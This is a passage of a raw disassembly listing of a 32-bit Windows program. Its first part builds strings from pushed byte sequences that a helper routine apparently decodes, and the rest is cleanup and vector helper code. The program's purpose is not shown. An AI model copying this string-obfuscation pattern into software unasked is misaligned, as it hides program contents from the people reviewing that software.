		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 34h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 35h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 36h
		call	sub_4019B5
		add	esp, 64h
		mov	byte ptr [esp+370h], 37h
		mov	ecx, eax
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 38h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D0h], 39h
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Ah
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Bh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D638F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A5F
		lea	ecx, [esp+98h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Ch
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Dh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Eh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		mov	byte ptr [esp+3CCh], 3Fh
		push	13h
		lea	eax, [esp+8Ch]
		push	eax
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 40h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 41h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+158h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		mov	byte ptr [esp+3C4h], 42h
		call	sub_4019B5
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 43h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 44h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+188h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 45h
		call	sub_4019B5
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 46h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 47h
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+68h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		mov	byte ptr [esp+3D4h], 48h
		push	13h
		lea	eax, [esp+94h]
		push	eax
		call	sub_4019B5
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 49h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Ah
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+170h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 4Bh
		call	sub_4019B5
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ch
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Dh
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Eh
		call	sub_4019B5
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Fh
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 50h
		push	ecx
		mov	ecx, esi
		call	sub_401CC1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D638F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A5F
		push	offset byte_446F70
		push	offset word_4E6E9A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_401424
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401424
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 52h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		push	eax
		lea	eax, [esp+234h]
		push	offset dword_4437F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 14h
		push	eax
		push	offset dword_4437F4
		lea	ecx, [esp+268h]
		push	ecx
		call	sub_40102D
		sub	esp, 0Ch
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+52Bh]
		push	eax
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1B8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+230h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+290h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E6E9A
		call	sub_4014C9
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+140h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+110h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014C9
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B2C
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017E4
		push	eax
		push	offset byte_44742D
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017E4
		push	eax
		push	offset dword_4473E4
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		push	offset dword_4472C0
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017E4
		push	eax
		push	offset word_447352
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017E4
		push	eax
		push	offset byte_447309
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017E4
		push	eax
		push	offset byte_44739B
		mov	ecx, offset word_448D16
		call	sub_401596
		push	0
		mov	ecx, offset byte_4D638F
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017E4
		push	eax
		push	offset byte_4474BF
		mov	ecx, offset word_448D16
		call	sub_401596
		lea	ecx, [esp+1D0h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+370h], 53h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+8Ch], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+230h]
		mov	byte ptr [esp+388h], 54h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A8h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+3A0h], 55h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C4h], esp
		push	eax
		call	sub_401861
		mov	ecx, offset word_448C9E
		mov	byte ptr [esp+3B8h], 52h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 51h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 5C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409450	proc near		; CODE XREF: sub_40146Aj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401974
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409468
		mov	ecx, esi
		call	sub_40190B
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_409450+Fj
		mov	ecx, esi
		call	sub_401A37
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409450	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409490	proc near		; CODE XREF: sub_401A5Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_40168B
		pop	esi
		retn	4
sub_409490	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094C0	proc near		; CODE XREF: sub_401A37j
		mov	eax, [ecx+4]
		retn
sub_4094C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4094E0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4094E0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409500	proc near		; CODE XREF: sub_401974j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40950A
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40950A:				; CODE XREF: sub_409500+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_409500	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_40168Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A37
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401B9A
		mov	ecx, edi
		call	sub_401A37
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409530	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409580	proc near		; CODE XREF: sub_40190Bj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+48h+var_34]
		push	offset dword_43F080
		push	edx
		call	sub_436832
sub_409580	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409600	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4096CB
		mov	ecx, esi
		call	sub_401974
		cmp	edi, eax
		jnb	short loc_409633
		mov	ecx, esi
		call	sub_401974
		mov	ebp, eax
		jmp	short loc_409635
; ---------------------------------------------------------------------------


loc_409633:				; CODE XREF: sub_409600+26j
		mov	ebp, edi


loc_409635:				; CODE XREF: sub_409600+31j
		mov	ecx, esi
		call	sub_401974
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CAD
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016D6
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40170D
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_401974
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4096CB:				; CODE XREF: sub_409600+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_409729
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4016D6
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_401177
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409729:				; CODE XREF: sub_409600+D8j
		test	edi, edi
		jbe	short loc_409763
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4016D6
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_401CCB
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401F96
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_409763:				; CODE XREF: sub_409600+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409600	endp

